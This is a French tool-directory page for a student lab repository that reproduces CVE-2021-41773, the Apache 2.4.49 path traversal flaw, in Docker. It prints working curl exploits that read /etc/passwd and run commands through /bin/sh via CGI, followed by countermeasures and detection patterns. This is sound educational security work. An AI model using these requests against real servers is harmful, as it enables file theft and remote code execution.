Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Apache-CVE-2021-41773 — WHS 4e promotion, Lee Hee-soo. Devoir rendu pour kr-vulhub. | Kitploit
Outils/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4e promotion, Lee Hee-soo. Devoir rendu pour kr-vulhub.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-41773 Apache HTTP Server Path Traversal

Contributeurs

이희수(@lheeeesoo)


Apache HTTP Server 2.4.49 présente une vulnérabilité dans le processus de normalisation des chemins URL qui ne bloque pas correctement les chemins parents encodés.

Un attaquant peut utiliser des valeurs telles que .%2e pour sortir du répertoire que le serveur web est configuré pour exposer. Dans un environnement où l'accès aux répertoires externes est autorisé, les fichiers internes du serveur peuvent être exposés, et si la fonctionnalité CGI est activée, l'exécution d'un shell système peut conduire à une exécution de commandes à distance.

Dans ce projet, nous avons construit un environnement Apache HTTP Server 2.4.49 à l'aide de Docker et reproduit les deux scénarios suivants :

  • Exposition du fichier /etc/passwd via Path Traversal
  • Exécution de commandes à distance via CGI

Structure du projet

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

Configuration de l'environnement

Construisez l'image Docker et lancez le conteneur avec la commande suivante :

root@kitploit:~
docker compose up -d --build

Vérifiez l'état d'exécution du conteneur avec la commande suivante :

root@kitploit:~
docker ps

Dans le résultat, vérifiez que le conteneur est à l'état Up et que le port 8080 de l'hôte est connecté au port 80 du conteneur.


Vérification du service web normal

Accédez à l'adresse suivante dans un navigateur :

root@kitploit:~
http://localhost:8080

La page web Apache s'affiche normalement, confirmant que la configuration de l'environnement est terminée.


Vérification de la version d'Apache

Vérifiez la version d'Apache à l'intérieur du conteneur avec la commande suivante :

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

Résultat :

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

Confirmation qu'Apache HTTP Server 2.4.49, affecté par CVE-2021-41773, est en cours d'exécution.


Conditions de vulnérabilité

Les conditions suivantes sont appliquées dans cet environnement de laboratoire :

  • Utilisation d'Apache HTTP Server 2.4.49
  • Utilisation des chemins Alias et ScriptAlias
  • Accès autorisé aux répertoires en dehors de la racine web
  • Fonctionnalité CGI activée
  • Processus Apache exécuté avec le compte daemon

La configuration Apache autorise l'accès au chemin racine du système de fichiers comme suit :

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

La configuration suivante a également été utilisée pour l'exécution de CGI :

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

La requête suivante accède au fichier /etc/passwd à l'intérieur du conteneur en utilisant un chemin parent encodé :

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

.%2e est traité comme .. après décodage URL.

L'attaquant peut donc remonter plusieurs fois les répertoires parents à partir du chemin Alias, puis accéder au fichier /etc/passwd.

Résultat :

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Le fichier /etc/passwd contient les informations des comptes système telles que le nom d'utilisateur, l'UID, le GID, le répertoire personnel et le shell de connexion.

Bien qu'il ne contienne pas de mots de passe réels, la vulnérabilité d'exposition d'informations est confirmée : un fichier interne du serveur, qui ne devrait pas être accessible à un utilisateur web externe, est exposé par une simple requête HTTP.

Dans un environnement de production réel, les informations sensibles suivantes pourraient être exposées de la même manière :

  • Fichiers de configuration de l'application
  • Informations de connexion à la base de données
  • Clés API et informations d'authentification
  • Code source
  • Fichiers journaux
  • Certificats et clés privées

Exécution de commandes via CGI

La requête suivante accède à /bin/sh en utilisant un Path Traversal et exécute la commande whoami :

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Résultat :

root@kitploit:~
daemon

Le chemin /cgi-bin/ étant configuré avec ScriptAlias, Apache n'effectue pas une simple lecture du fichier à ce chemin, mais l'exécute comme un programme CGI.

Après avoir accédé à /bin/sh via un Path Traversal, les commandes incluses dans le corps de la requête sont exécutées avec les privilèges du compte exécutant Apache.

Dans cet environnement, Apache est exécuté avec le compte suivant :

root@kitploit:~
User daemon
Group daemon

Le résultat de l'exécution de la commande est donc également affiché sous le compte daemon.

Bien qu'il ne s'agisse pas des privilèges root, les menaces supplémentaires suivantes peuvent survenir :

  • Altération des fichiers de l'application web
  • Vol de fichiers de configuration et d'informations d'authentification
  • Téléchargement et exécution de fichiers malveillants
  • Exploration du réseau interne
  • Élévation de privilèges via d'autres vulnérabilités

Exécution du script PoC

Au lieu de commandes individuelles, vous pouvez utiliser le script PoC pour vérifier en une seule fois le service normal, le Path Traversal et l'exécution de commandes à distance.

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

Le script vérifie séquentiellement les éléments suivants :

root@kitploit:~
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행


Contre-mesures

Mise à jour de la version d'Apache

N'utilisez pas Apache HTTP Server 2.4.49 et mettez à jour vers une version récente avec les correctifs de sécurité appliqués.

Bloquer l'accès au répertoire racine

En environnement de production, le chemin racine du système de fichiers doit être bloqué par défaut.

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

Autorisez uniquement les répertoires web nécessaires.

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

Désactiver les CGI inutiles

Si la fonctionnalité CGI n'est pas nécessaire, désactivez les éléments suivants :

  • mod_cgi
  • ScriptAlias
  • ExecCGI

Appliquer le principe du moindre privilège

Le processus Apache doit être exécuté avec un compte de service restreint et non root, et les fichiers et répertoires accessibles par ce compte doivent être réduits au minimum.

Surveillance des journaux

Les requêtes contenant des chemins anormaux tels que les suivants doivent être détectées et bloquées :

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

Arrêt de l'environnement

root@kitploit:~
docker compose down

Conclusion

Dans cet exercice, nous avons construit Apache HTTP Server 2.4.49 à l'aide d'un Dockerfile et configuré un environnement vulnérable reproductible via Docker Compose.

Nous avons confirmé que le fichier /etc/passwd à l'intérieur du conteneur, auquel un utilisateur web normal ne devrait pas avoir accès, était exposé via une requête Path Traversal.

Nous avons également confirmé que, dans un environnement où CGI est activé, il est possible d'accéder à /bin/sh et d'exécuter des commandes système avec les privilèges du compte daemon qui exécute Apache.

Ceci démontre que CVE-2021-41773 n'est pas seulement une simple exposition de chemins, mais une vulnérabilité pouvant conduire à une exécution de commandes à distance selon la configuration de l'environnement.


Références

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
Télécharger l’outil